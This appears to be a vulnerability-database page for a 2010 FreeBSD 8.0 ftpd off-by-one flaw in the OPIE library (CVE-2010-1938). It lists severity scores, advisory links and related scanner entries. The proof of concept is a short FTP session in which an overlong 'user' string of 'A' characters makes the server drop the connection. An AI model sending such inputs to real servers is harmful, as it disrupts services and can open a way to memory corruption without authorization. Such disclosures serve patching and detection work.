Lucene search
Maksymilian ArciemowiczEDB-ID:12762HistoryMay 27, 2010 - 12:00 a.m.
FreeBSD 8.0 - 'ftpd' (FreeBSD-SA-10:05) Off-By-One (PoC)
2010-05-2700:00:00
Maksymilian Arciemowicz
www.exploit-db.com
56
9.5 High
AI Score
Confidence
High
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.869 High
EPSS
Percentile
98.6%
# FreeBSD 8.0 ftpd off-by one PoC (FreeBSD-SA-10:05)
# CVE-2010-1938
# FreeBSD-SA-10:05
# Credit: Maksymilian Arciemowicz and Adam Zabrocki
#
# http://securityreason.com/achievement_securityalert/87
# http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc
# http://blog.pi3.com.pl/?p=111
#
PoC:
Connected to localhost.
Escape character is '^]'.
220 127.cx FTP server (Version 6.00LS) ready.
user cx
331 Password required for cx.
user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.
- --
Best Regards,
- ------------------------
pub 1024D/A6986BD6 2008-08-22
uid Maksymilian Arciemowicz (cxib)
<[email protected]>
sub 4096g/0889FA9A 2008-08-22
http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpgRelated
checkpoint_advisories
checkpoint_advisories
openvas
openvas
FreeBSD Ports: FreeBSD
2010-11-17 00:00:00
Nmap NSE net: ftp-libopie
2011-06-01 00:00:00
Nmap NSE net: ftp-libopie
2011-06-01 00:00:00
freebsd_advisory
freebsd_advisory
FreeBSD-SA-10:05.opie
2010-05-27 00:00:00
cve
cve
CVE-2010-1938
2010-05-28 18:30:00
securityvulns
securityvulns
FreeBSD OPIE library off-by-one overflow
2010-05-28 00:00:00
FreeBSD Security Advisory FreeBSD-SA-10:05.opie
2010-05-28 00:00:00
[SECURITY] [DSA 2281-1] opie security update
2011-07-26 00:00:00
packetstorm
packetstorm
FreeBSD 8.0 ftpd Off-By-One Proof Of Concept
2010-05-28 00:00:00
ubuntu
ubuntu
libpam-opie vulnerability
2010-06-21 00:00:00
OPIE vulnerability
2010-06-21 00:00:00
seebug
seebug
FreeBSD OPIE实现__opiereadrec()函数单字节栈溢出漏洞
2010-05-31 00:00:00
FreeBSD 8.0 ftpd off-by one PoC (FreeBSD-SA-10:05)
2010-05-28 00:00:00
nessus
nessus
Ubuntu 9.04 / 9.10 / 10.04 LTS : libpam-opie vulnerability (USN-955-2)
2010-06-22 00:00:00
Ubuntu 9.04 / 9.10 / 10.04 LTS : opie vulnerability (USN-955-1)
2013-03-09 00:00:00
Debian DSA-2281-1 : opie - several vulnerabilities
2011-07-22 00:00:00
prion
prion
Command injection
2010-05-28 18:30:00
exploitpack
exploitpack
FreeBSD 8.0 - ftpd (FreeBSD-SA-10:05) Off-By-One (PoC)
2010-05-27 00:00:00
ubuntucve
ubuntucve
CVE-2010-1938
2010-05-28 00:00:00
nmap
nmap
ftp-libopie NSE Script
2010-06-21 20:25:11
osv
osv
opie - several
2011-07-21 00:00:00
debian
debian
[SECURITY] [DSA 2281-1] opie security update
2011-07-21 11:09:17
9.5 High
AI Score
Confidence
High
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.869 High
EPSS
Percentile
98.6%
Related for EDB-ID:12762